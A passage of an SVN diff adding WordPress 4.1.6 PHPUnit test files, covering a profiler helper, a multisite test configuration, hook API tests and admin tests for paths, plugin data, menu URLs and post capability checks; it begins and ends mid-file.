+			printf("%24.24s %6d %6.4f %6d %6d %6d %6d %6d %6d\n", $name, $stats['calls'], $stats['time'], array_sum($stats['actions']), array_sum($stats['filters']), $stats['cache_warm_hits'], $stats['cache_cold_hits'], $stats['cache_misses'], array_sum($stats['cache_dirty_objects']));
+		}
+	}
+}
+
+global $wppf;
+$wppf = new WPProfiler();
+
+function wppf_start($name) {
+	$GLOBALS['wppf']->start($name);
+}
+
+function wppf_stop() {
+	$GLOBALS['wppf']->stop();
+}
+
+function wppf_results() {
+	return $GLOBALS['wppf']->results();
+}
+
+function wppf_print_summary() {
+	$GLOBALS['wppf']->print_summary();
+}
+
+?>
Index: /tags/4.1.6/tests/phpunit/multisite.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/multisite.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/multisite.xml	(revision 33402)
@@ -0,0 +1,32 @@
+<phpunit
+		bootstrap="includes/bootstrap.php"
+        backupGlobals="false"
+        colors="true"
+        >
+    <php>
+        <const name="WP_TESTS_MULTISITE" value="1" />
+    </php>
+    <testsuites>
+        <!-- Default test suite to run all tests -->
+        <testsuite>
+            <directory suffix=".php">tests</directory>
+            <exclude>tests/phpunit/tests/actions/closures.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor_gd.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor_imagick.php</exclude>
+            <file phpVersion="5.3.0">tests/phpunit/tests/actions/closures.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor_gd.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor_imagick.php</file>
+        </testsuite>
+    </testsuites>
+    <groups>
+        <exclude>
+            <group>ajax</group>
+            <group>ms-files</group>
+        </exclude>
+    </groups>
+    <php>
+        <const name="WP_RUN_CORE_TESTS" value="1" />
+    </php>
+</phpunit>
Index: /tags/4.1.6/tests/phpunit/tests/actions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/actions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/actions.php	(revision 33402)
@@ -0,0 +1,359 @@
+<?php
+
+/**
+ * Test do_action() and related functions
+ *
+ * @group hooks
+ */
+class Tests_Actions extends WP_UnitTestCase {
+
+	function test_simple_action() {
+		$a = new MockAction();
+		$tag = 'test_action';
+
+		add_action($tag, array(&$a, 'action'));
+		do_action($tag);
+
+		// only one event occurred for the hook, with empty args
+		$this->assertEquals(1, $a->get_call_count());
+		// only our hook was called
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		$argsvar = $a->get_args();
+		$args = array_pop( $argsvar );
+		$this->assertEquals(array(''), $args);
+	}
+
+	function test_remove_action() {
+		$a = new MockAction();
+		$tag = rand_str();
+
+		add_action($tag, array(&$a, 'action'));
+		do_action($tag);
+
+		// make sure our hook was called correctly
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		// now remove the action, do it again, and make sure it's not called this time
+		remove_action($tag, array(&$a, 'action'));
+		do_action($tag);
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+	}
+
+	function test_has_action() {
+		$tag = rand_str();
+		$func = rand_str();
+
+		$this->assertFalse( has_action($tag, $func) );
+		$this->assertFalse( has_action($tag) );
+		add_action($tag, $func);
+		$this->assertEquals( 10, has_action($tag, $func) );
+		$this->assertTrue( has_action($tag) );
+		remove_action($tag, $func);
+		$this->assertFalse( has_action($tag, $func) );
+		$this->assertFalse( has_action($tag) );
+	}
+
+	// one tag with multiple actions
+	function test_multiple_actions() {
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+		$tag = rand_str();
+
+		// add both actions to the hook
+		add_action($tag, array(&$a1, 'action'));
+		add_action($tag, array(&$a2, 'action'));
+
+		do_action($tag);
+
+		// both actions called once each
+		$this->assertEquals(1, $a1->get_call_count());
+		$this->assertEquals(1, $a2->get_call_count());
+	}
+
+	function test_action_args_1() {
+		$a = new MockAction();
+		$tag = rand_str();
+		$val = rand_str();
+
+		add_action($tag, array(&$a, 'action'));
+		// call the action with a single argument
+		do_action($tag, $val);
+
+		$call_count = $a->get_call_count();
+		$this->assertEquals(1, $call_count);
+		$argsvar = $a->get_args();
+		$this->assertEquals( array( $val ), array_pop( $argsvar ) );
+	}
+
+	function test_action_args_2() {
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+		$tag = rand_str();
+		$val1 = rand_str();
+		$val2 = rand_str();
+
+		// a1 accepts two arguments, a2 doesn't
+		add_action($tag, array(&$a1, 'action'), 10, 2);
+		add_action($tag, array(&$a2, 'action'));
+		// call the action with two arguments
+		do_action($tag, $val1, $val2);
+
+		$call_count = $a1->get_call_count();
+		// a1 should be called with both args
+		$this->assertEquals(1, $call_count);
+		$argsvar1 = $a1->get_args();
+		$this->assertEquals( array( $val1, $val2 ), array_pop( $argsvar1 ) );
+
+		// a2 should be called with one only
+		$this->assertEquals(1, $a2->get_call_count());
+		$argsvar2 = $a2->get_args();
+		$this->assertEquals( array( $val1 ), array_pop( $argsvar2 ) );
+	}
+
+	function test_action_priority() {
+		$a = new MockAction();
+		$tag = rand_str();
+
+		add_action($tag, array(&$a, 'action'), 10);
+		add_action($tag, array(&$a, 'action2'), 9);
+		do_action($tag);
+
+		// two events, one per action
+		$this->assertEquals(2, $a->get_call_count());
+
+		$expected = array (
+			// action2 is called first because it has priority 9
+			array (
+				'action' => 'action2',
+				'tag' => $tag,
+				'args' => array('')
+			),
+			// action 1 is called second
+			array (
+				'action' => 'action',
+				'tag' => $tag,
+				'args' => array('')
+			),
+		);
+
+		$this->assertEquals($expected, $a->get_events());
+	}
+
+	function test_did_action() {
+		$tag1 = rand_str();
+		$tag2 = rand_str();
+
+		// do action tag1 but not tag2
+		do_action($tag1);
+		$this->assertEquals(1, did_action($tag1));
+		$this->assertEquals(0, did_action($tag2));
+
+		// do action tag2 a random number of times
+		$count = rand(0, 10);
+		for ($i=0; $i<$count; $i++)
+			do_action($tag2);
+
+		// tag1's count hasn't changed, tag2 should be correct
+		$this->assertEquals(1, did_action($tag1));
+		$this->assertEquals($count, did_action($tag2));
+
+	}
+
+	function test_all_action() {
+		$a = new MockAction();
+		$tag1 = rand_str();
+		$tag2 = rand_str();
+
+		// add an 'all' action
+		add_action('all', array(&$a, 'action'));
+		$this->assertEquals(10, has_filter('all', array(&$a, 'action')));
+		// do some actions
+		do_action($tag1);
+		do_action($tag2);
+		do_action($tag1);
+		do_action($tag1);
+
+		// our action should have been called once for each tag
+		$this->assertEquals(4, $a->get_call_count());
+		// only our hook was called
+		$this->assertEquals(array($tag1, $tag2, $tag1, $tag1), $a->get_tags());
+
+		remove_action('all', array(&$a, 'action'));
+		$this->assertFalse(has_filter('all', array(&$a, 'action')));
+
+	}
+
+	function test_remove_all_action() {
+		$a = new MockAction();
+		$tag = rand_str();
+
+		add_action('all', array(&$a, 'action'));
+		$this->assertEquals(10, has_filter('all', array(&$a, 'action')));
+		do_action($tag);
+
+		// make sure our hook was called correctly
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		// now remove the action, do it again, and make sure it's not called this time
+		remove_action('all', array(&$a, 'action'));
+		$this->assertFalse(has_filter('all', array(&$a, 'action')));
+		do_action($tag);
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+	}
+
+	function test_action_ref_array() {
+		$obj = new stdClass();
+		$a = new MockAction();
+		$tag = rand_str();
+
+		add_action($tag, array(&$a, 'action'));
+
+		do_action_ref_array($tag, array(&$obj));
+
+		$args = $a->get_args();
+		$this->assertSame($args[0][0], $obj);
+		// just in case we don't trust assertSame
+		$obj->foo = true;
+		$this->assertFalse( empty($args[0][0]->foo) );
+	}
+
+	/**
+	 * @ticket 11241
+	 */
+	function test_action_keyed_array() {
+		$a = new MockAction();
+
+		$tag = rand_str();
+
+		add_action($tag, array(&$a, 'action'));
+
+		$context = array( rand_str() => rand_str() );
+		do_action($tag, $context);
+
+		$args = $a->get_args();
+		$this->assertSame($args[0][0], $context);
+
+		$context2 = array( rand_str() => rand_str(), rand_str() => rand_str() );
+		do_action($tag, $context2);
+
+		$args = $a->get_args();
+		$this->assertSame($args[1][0], $context2);
+
+	}
+
+	function test_action_self_removal() {
+		add_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) );
+		do_action( 'test_action_self_removal' );
+		$this->assertEquals( 1, did_action( 'test_action_self_removal' ) );
+	}
+
+	function action_self_removal() {
+		remove_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) );
+	}
+
+	/**
+	 * Make sure current_action() behaves as current_filter()
+	 *
+	 * @ticket 14994
+	 */
+	function test_current_action() {
+		global $wp_current_filter;
+		$wp_current_filter[] = 'first';
+		$wp_current_filter[] = 'second'; // Let's say a second action was invoked.
+
+		$this->assertEquals( 'second', current_action() );
+	}
+
+	/**
+	 * @ticket 14994
+	 */
+	function test_doing_filter() {
+		global $wp_current_filter;
+		$wp_current_filter = array(); // Set to an empty array first
+
+		$this->assertFalse( doing_filter() ); // No filter is passed in, and no filter is being processed
+		$this->assertFalse( doing_filter( 'testing' ) ); // Filter is passed in but not being processed
+
+		$wp_current_filter[] = 'testing';
+
+		$this->assertTrue( doing_filter() ); // No action is passed in, and a filter is being processed
+		$this->assertTrue( doing_filter( 'testing') ); // Filter is passed in and is being processed
+		$this->assertFalse( doing_filter( 'something_else' ) ); // Filter is passed in but not being processed
+
+		$wp_current_filter = array();
+	}
+
+	/**
+	 * @ticket 14994
+	 */
+	function test_doing_action() {
+		global $wp_current_filter;
+		$wp_current_filter = array(); // Set to an empty array first
+
+		$this->assertFalse( doing_action() ); // No action is passed in, and no filter is being processed
+		$this->assertFalse( doing_action( 'testing' ) ); // Action is passed in but not being processed
+
+		$wp_current_filter[] = 'testing';
+
+		$this->assertTrue( doing_action() ); // No action is passed in, and a filter is being processed
+		$this->assertTrue( doing_action( 'testing') ); // Action is passed in and is being processed
+		$this->assertFalse( doing_action( 'something_else' ) ); // Action is passed in but not being processed
+
+		$wp_current_filter = array();
+	}
+
+	/**
+	 * @ticket 14994
+	 */
+	function test_doing_filter_real() {
+		$this->assertFalse( doing_filter() ); // No filter is passed in, and no filter is being processed
+		$this->assertFalse( doing_filter( 'testing' ) ); // Filter is passed in but not being processed
+
+		add_filter( 'testing', array( $this, 'apply_testing_filter' ) );
+		$this->assertTrue( has_action( 'testing' ) );
+		$this->assertEquals( 10, has_action( 'testing', array( $this, 'apply_testing_filter' ) ) );
+
+		apply_filters( 'testing', '' );
+
+		// Make sure it ran.
+		$this->assertTrue( $this->apply_testing_filter );
+
+		$this->assertFalse( doing_filter() ); // No longer doing any filters
+		$this->assertFalse( doing_filter( 'testing' ) ); // No longer doing this filter
+	}
+
+	function apply_testing_filter() {
+		$this->apply_testing_filter = true;
+
+		$this->assertTrue( doing_filter() );
+		$this->assertTrue( doing_filter( 'testing' ) );
+		$this->assertFalse( doing_filter( 'something_else' ) );
+		$this->assertFalse( doing_filter( 'testing_nested' ) );
+
+		add_filter( 'testing_nested', array( $this, 'apply_testing_nested_filter' ) );
+		$this->assertTrue( has_action( 'testing_nested' ) );
+		$this->assertEquals( 10, has_action( 'testing_nested', array( $this, 'apply_testing_nested_filter' ) ) );
+
+		apply_filters( 'testing_nested', '' );
+
+		// Make sure it ran.
+		$this->assertTrue( $this->apply_testing_nested_filter );
+
+		$this->assertFalse( doing_filter( 'testing_nested' ) );
+		$this->assertFalse( doing_filter( 'testing_nested' ) );
+	}
+
+	function apply_testing_nested_filter() {
+		$this->apply_testing_nested_filter = true;
+		$this->assertTrue( doing_filter() );
+		$this->assertTrue( doing_filter( 'testing' ) );
+		$this->assertTrue( doing_filter( 'testing_nested' ) );
+		$this->assertFalse( doing_filter( 'something_else' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/actions/callbacks.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/actions/callbacks.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/actions/callbacks.php	(revision 33402)
@@ -0,0 +1,22 @@
+<?php
+
+/**
+ * @group hooks
+ */
+class Tests_Actions_Callbacks extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 23265
+	 */
+	function test_callback_representations() {
+		$tag = __FUNCTION__;
+
+		$this->assertFalse( has_action( $tag ) );
+
+		add_action( $tag, array( 'Class', 'method' ) );
+
+		$this->assertEquals( 10, has_action( $tag, array( 'Class', 'method' ) ) );
+
+		$this->assertEquals( 10, has_action( $tag, 'Class::method' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/actions/closures.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/actions/closures.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/actions/closures.php	(revision 33402)
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * Test do_action() and related functions
+ *
+ * @group hooks
+ */
+class Tests_Actions_Closures extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 10493
+	 */
+	function test_action_closure() {
+		$tag = 'test_action_closure';
+		$closure = function($a, $b) { $GLOBALS[$a] = $b;};
+		add_action($tag, $closure, 10, 2);
+
+		$this->assertSame( 10, has_action($tag, $closure) );
+
+		$context = array( rand_str(), rand_str() );
+		do_action($tag, $context[0], $context[1]);
+
+		$this->assertSame($GLOBALS[$context[0]], $context[1]);
+
+		$tag2 = 'test_action_closure_2';
+		$closure2 = function() { $GLOBALS['closure_no_args'] = true;};
+		add_action($tag2, $closure2);
+
+		$this->assertSame( 10, has_action($tag2, $closure2) );
+
+		do_action($tag2);
+
+		$this->assertTrue($GLOBALS['closure_no_args']);
+
+		remove_action( $tag, $closure );
+		remove_action( $tag2, $closure2 );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/admin/includesFile.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/admin/includesFile.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/admin/includesFile.php	(revision 33402)
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * @group file
+ * @group admin
+ */
+class Tests_Admin_includesFile extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+	}
+
+	/**
+	 * @ticket 20449
+	 */
+	function test_get_home_path() {
+		$home = get_option( 'home' );
+		$siteurl = get_option( 'siteurl' );
+		$sfn = $_SERVER['SCRIPT_FILENAME'];
+		$this->assertEquals( str_replace( '\\', '/', ABSPATH ), get_home_path() );
+
+		update_option( 'home', 'http://localhost' );
+		update_option( 'siteurl', 'http://localhost/wp' );
+
+		$_SERVER['SCRIPT_FILENAME'] = 'D:\root\vhosts\site\httpdocs\wp\wp-admin\options-permalink.php';
+		$this->assertEquals( 'D:/root/vhosts/site/httpdocs/', get_home_path() );
+
+		$_SERVER['SCRIPT_FILENAME'] = '/Users/foo/public_html/trunk/wp/wp-admin/options-permalink.php';
+		$this->assertEquals( '/Users/foo/public_html/trunk/', get_home_path() );
+
+		$_SERVER['SCRIPT_FILENAME'] = 'S:/home/wordpress/trunk/wp/wp-admin/options-permalink.php';
+		$this->assertEquals( 'S:/home/wordpress/trunk/', get_home_path() );
+
+		update_option( 'home', $home );
+		update_option( 'siteurl', $siteurl );
+		$_SERVER['SCRIPT_FILENAME'] = $sfn;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/admin/includesMisc.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/admin/includesMisc.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/admin/includesMisc.php	(revision 33402)
@@ -0,0 +1,25 @@
+<?php
+
+/**
+ * @group admin
+ */
+class Tests_Admin_includesMisc extends WP_UnitTestCase {
+	function test_shorten_url() {
+		$tests = array(
+			'wordpress\.org/about/philosophy'
+				=> 'wordpress\.org/about/philosophy', // no longer strips slashes
+			'wordpress.org/about/philosophy'
+				=> 'wordpress.org/about/philosophy',
+			'http://wordpress.org/about/philosophy/'
+				=> 'wordpress.org/about/philosophy', // remove http, trailing slash
+			'http://www.wordpress.org/about/philosophy/'
+				=> 'wordpress.org/about/philosophy', // remove http, www
+			'http://wordpress.org/about/philosophy/#box'
+				=> 'wordpress.org/about/philosophy/#box', // don't shorten 35 characters
+			'http://wordpress.org/about/philosophy/#decisions'
+				=> 'wordpress.org/about/philosophy/#&hellip;', // shorten to 32 if > 35 after cleaning
+		);
+		foreach ( $tests as $k => $v )
+			$this->assertEquals( $v, url_shorten( $k ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/admin/includesPlugin.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/admin/includesPlugin.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/admin/includesPlugin.php	(revision 33402)
@@ -0,0 +1,83 @@
+<?php
+/**
+ * @group plugins
+ * @group admin
+ */
+class Tests_Admin_includesPlugin extends WP_UnitTestCase {
+	function test_get_plugin_data() {
+		$data = get_plugin_data( DIR_TESTDATA . '/plugins/hello.php' );
+
+		$default_headers = array(
+			'Name' => 'Hello Dolly',
+			'Title' => '<a href="http://wordpress.org/#">Hello Dolly</a>',
+			'PluginURI' => 'http://wordpress.org/#',
+			'Description' => 'This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right of your admin screen on every page. <cite>By <a href="http://ma.tt/">Matt Mullenweg</a>.</cite>',
+			'Author' => '<a href="http://ma.tt/">Matt Mullenweg</a>',
+			'AuthorURI' => 'http://ma.tt/',
+			'Version' => '1.5.1',
+			'TextDomain' => 'hello-dolly',
+			'DomainPath' => ''
+		);
+
+		$this->assertTrue( is_array($data) );
+
+		foreach ($default_headers as $name => $value) {
+			$this->assertTrue(isset($data[$name]));
+			$this->assertEquals($value, $data[$name]);
+		}
+	}
+
+	function test_menu_page_url() {
+		$current_user = get_current_user_id();
+		wp_set_current_user( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+		update_option( 'siteurl', 'http://example.com' );
+
+		// add some pages
+		add_options_page( 'Test Settings', 'Test Settings', 'manage_options', 'testsettings', 'mt_settings_page' );
+		add_management_page( 'Test Tools', 'Test Tools', 'manage_options', 'testtools', 'mt_tools_page' );
+		add_menu_page( 'Test Toplevel', 'Test Toplevel', 'manage_options', 'mt-top-level-handle', 'mt_toplevel_page' );
+		add_submenu_page( 'mt-top-level-handle', 'Test Sublevel', 'Test Sublevel', 'manage_options', 'sub-page', 'mt_sublevel_page' );
+		add_submenu_page( 'mt-top-level-handle', 'Test Sublevel 2', 'Test Sublevel 2', 'manage_options', 'sub-page2', 'mt_sublevel_page2' );
+		add_theme_page( 'With Spaces', 'With Spaces', 'manage_options', 'With Spaces', 'mt_tools_page' );
+		add_pages_page( 'Appending Query Arg', 'Test Pages', 'edit_pages', 'testpages', 'mt_pages_page' );
+
+		$expected['testsettings'] = 'http://example.com/wp-admin/options-general.php?page=testsettings';
+		$expected['testtools'] = 'http://example.com/wp-admin/tools.php?page=testtools';
+		$expected['mt-top-level-handle'] = 'http://example.com/wp-admin/admin.php?page=mt-top-level-handle';
+		$expected['sub-page'] = 'http://example.com/wp-admin/admin.php?page=sub-page';
+		$expected['sub-page2'] = 'http://example.com/wp-admin/admin.php?page=sub-page2';
+		$expected['not_registered'] = '';
+		$expected['With Spaces'] = 'http://example.com/wp-admin/themes.php?page=WithSpaces';
+		$expected['testpages'] = 'http://example.com/wp-admin/edit.php?post_type=page&#038;page=testpages';
+
+		foreach ($expected as $name => $value) {
+			$this->assertEquals( $value, menu_page_url( $name, false ) );
+		}
+
+		wp_set_current_user( $current_user );
+	}
+
+	function test_is_plugin_active_true() {
+		activate_plugin( 'hello.php' );
+		$test = is_plugin_active( 'hello.php' );
+		$this->assertTrue( $test );
+	}
+
+	function test_is_plugin_active_false() {
+		deactivate_plugins( 'hello.php' );
+		$test = is_plugin_active( 'hello.php' );
+		$this->assertFalse( $test );
+	}
+
+	function test_is_plugin_inactive_true() {
+		deactivate_plugins( 'hello.php' );
+		$test = is_plugin_inactive( 'hello.php' );
+		$this->assertTrue( $test );
+	}
+
+	function test_is_plugin_inactive_false() {
+		activate_plugin( 'hello.php' );
+		$test = is_plugin_inactive( 'hello.php' );
+		$this->assertFalse( $test );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/admin/includesPost.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/admin/includesPost.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/admin/includesPost.php	(revision 33402)
@@ -0,0 +1,181 @@
+<?php
+
+/**
+ * @group admin
+ */
+class Tests_Admin_includesPost extends WP_UnitTestCase {
+
+	function tearDown() {
+		wp_set_current_user( 0 );
+		parent::tearDown();
+	}
+
+	function test__wp_translate_postdata_cap_checks_contributor() {
+		$contributor_id = $this->factory->user->create( array( 'role' => 'contributor' ) );
+		$editor_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+		wp_set_current_user( $contributor_id );
+
+		// Create New Draft Post
+		$_post_data = array();
+		$_post_data['post_author'] = $contributor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'draft', $_results['post_status'] );
+
+		// Submit Post for Approval
+		$_post_data = array();
+		$_post_data['post_author'] = $contributor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['publish'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'pending', $_results['post_status'] );
+
+		// Create New Draft Post for another user
+		$_post_data = array();
+		$_post_data['post_author'] = $editor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( 'edit_others_posts', $_results->get_error_code() );
+		$this->assertEquals( 'You are not allowed to create posts as this user.', $_results->get_error_message() );
+
+		// Edit Draft Post for another user
+		$_post_data = array();
+		$_post_data['post_ID'] = $this->factory->post->create( array( 'post_author' => $editor_id ) );
+		$_post_data['post_author'] = $editor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['post_status'] = 'draft';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( true, $_post_data );
+		$this->assertInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( 'edit_others_posts', $_results->get_error_code() );
+		$this->assertEquals( 'You are not allowed to edit posts as this user.', $_results->get_error_message() );
+	}
+
+	function test__wp_translate_postdata_cap_checks_editor() {
+		$contributor_id = $this->factory->user->create( array( 'role' => 'contributor' ) );
+		$editor_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+		wp_set_current_user( $editor_id );
+
+		// Create New Draft Post
+		$_post_data = array();
+		$_post_data['post_author'] = $editor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'draft', $_results['post_status'] );
+
+		// Publish Post
+		$_post_data = array();
+		$_post_data['post_author'] = $editor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['publish'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'publish', $_results['post_status'] );
+
+		// Create New Draft Post for another user
+		$_post_data = array();
+		$_post_data['post_author'] = $contributor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( false, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'draft', $_results['post_status'] );
+
+		// Edit Draft Post for another user
+		$_post_data = array();
+		$_post_data['post_ID'] = $this->factory->post->create( array( 'post_author' => $contributor_id ) );
+		$_post_data['post_author'] = $contributor_id;
+		$_post_data['post_type'] = 'post';
+		$_post_data['post_status'] = 'draft';
+		$_post_data['saveasdraft'] = true;
+
+		$_results = _wp_translate_postdata( true, $_post_data );
+		$this->assertNotInstanceOf( 'WP_Error', $_results );
+		$this->assertEquals( $_post_data['post_author'], $_results['post_author'] );
+		$this->assertEquals( 'draft', $_results['post_status'] );
+	}
+
+	/**
+	 * edit_post() should convert an existing auto-draft to a draft.
+	 *
+	 * @ticket 25272
+	 */
+	function test_edit_post_auto_draft() {
+		$user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+		wp_set_current_user( $user_id );
+		$post = $this->factory->post->create_and_get( array( 'post_status' => 'auto-draft' ) );
+		$this->assertEquals( 'auto-draft', $post->post_status );
+		$post_data = array(
+			'post_title' => 'Post title',
+			'content' => 'Post content',
+			'post_type' => 'post',
+			'post_ID' => $post->ID,
+		);
+		edit_post( $post_data );
+		$this->assertEquals( 'draft', get_post( $post->ID )->post_status );
+	}
+
+	/**
+	 * @ticket 27792
+	 */
+	function test_bulk_edit_posts_stomping() {
+		$admin = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		$users = $this->factory->user->create_many( 2, array( 'role' => 'author' ) );
+		wp_set_current_user( $admin );
+
+		$post1 = $this->factory->post->create( array(
+			'post_author'    => $users[0],
+			'comment_status' => 'open',
+			'ping_status'    => 'open',
+			'post_status'    => 'publish',
+		) );
+
+		$post2 = $this->factory->post->create( array(
+			'post_author'    => $users[1],
+			'comment_status' => 'closed',
+			'ping_status'    => 'closed',
+			'post_status'    => 'draft',
+		) );
+
+		$request = array(
+			'post_type'        => 'post',
+			'post_author'      => -1,
+			'ping_status'      => -1,
+			'comment_status'   => -1,
+			'_status'          => -1,
+			'post'             => array( $post1, $post2 ),
+		);
+
+		$done = bulk_edit_posts( $request );
+
+		$post = get_post( $post2 );
+
+		// Check that the first post's values don't stomp the second post.
+		$this->assertEquals( 'draft', $post->post_status );
+		$this->assertEquals( $users[1], $post->post_author );
+		$this->assertEquals( 'closed', $post->comment_status );
+		$this->assertEquals( 'closed', $post->ping_status );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/admin/includesScreen.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/admin/includesScreen.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/admin/includesScreen.php	(revision 33402)
@@ -0,0 +1,233 @@
+<?php
+
+/**
+ * @group admin
+ */
+class Tests_Admin_includesScreen extends WP_UnitTestCase {
+	var $core_screens = array(
+		'index.php' => array( 'base' => 'dashboard', 'id' => 'dashboard' ),
+		'edit.php' => array( 'base' => 'edit', 'id' => 'edit-post', 'post_type' => 'post' ),
+		'post-new.php'=> array( 'action' => 'add', 'base' => 'post', 'id' => 'post', 'post_type' => 'post' ),
+		'edit-tags.php' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ),
+		'edit-tags.php?taxonomy=post_tag' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ),
+		'edit-tags.php?taxonomy=category' => array( 'base' => 'edit-tags', 'id' => 'edit-category', 'post_type' => 'post', 'taxonomy' => 'category' ),
+		'upload.php' => array( 'base' => 'upload', 'id' => 'upload' ),
+		'media-new.php' => array( 'action' => 'add', 'base' => 'media', 'id' => 'media' ),
+		'edit.php?post_type=page' => array( 'base' => 'edit', 'id' => 'edit-page', 'post_type' => 'page' ),
+		'link-manager.php' => array( 'base' => 'link-manager', 'id' => 'link-manager' ),
+		'link-add.php' => array( 'action' => 'add', 'base' => 'link', 'id' => 'link' ),
+		'edit-tags.php?taxonomy=link_category' => array( 'base' => 'edit-tags', 'id' => 'edit-link_category', 'taxonomy' => 'link_category', 'post_type' => '' ),
+		'edit-comments.php' => array( 'base' => 'edit-comments', 'id' => 'edit-comments' ),
+		'themes.php' => array( 'base' => 'themes', 'id' => 'themes' ),
+		'widgets.php' => array( 'base' => 'widgets', 'id' => 'widgets' ),
+		'nav-menus.php' => array( 'base' => 'nav-menus', 'id' => 'nav-menus' ),
+		'plugins.php' => array( 'base' => 'plugins', 'id' => 'plugins' ),
+		'users.php' => array( 'base' => 'users', 'id' => 'users' ),
+		'user-new.php' => array( 'action' => 'add', 'base' => 'user', 'id' => 'user' ),
+		'profile.php' => array( 'base' => 'profile', 'id' => 'profile' ),
+		'tools.php' => array( 'base' => 'tools', 'id' => 'tools' ),
+		'import.php' => array( 'base' => 'import', 'id' => 'import' ),
+		'export.php' => array( 'base' => 'export', 'id' => 'export' ),
+		'options-general.php' => array( 'base' => 'options-general', 'id' => 'options-general' ),
+		'options-writing.php' => array( 'base' => 'options-writing', 'id' => 'options-writing' ),
+	);
+
+	function setUp() {
+		set_current_screen( 'front' );
+	}
+
+	function tearDown() {
+		unset( $GLOBALS['wp_taxonomies']['old-or-new'] );
+		set_current_screen( 'front' );
+		parent::tearDown();
+	}
+
+	function test_set_current_screen_with_hook_suffix() {
+		global $current_screen;
+
+		foreach ( $this->core_screens as $hook_name => $screen ) {
+			$_GET = $_POST = $_REQUEST = array();
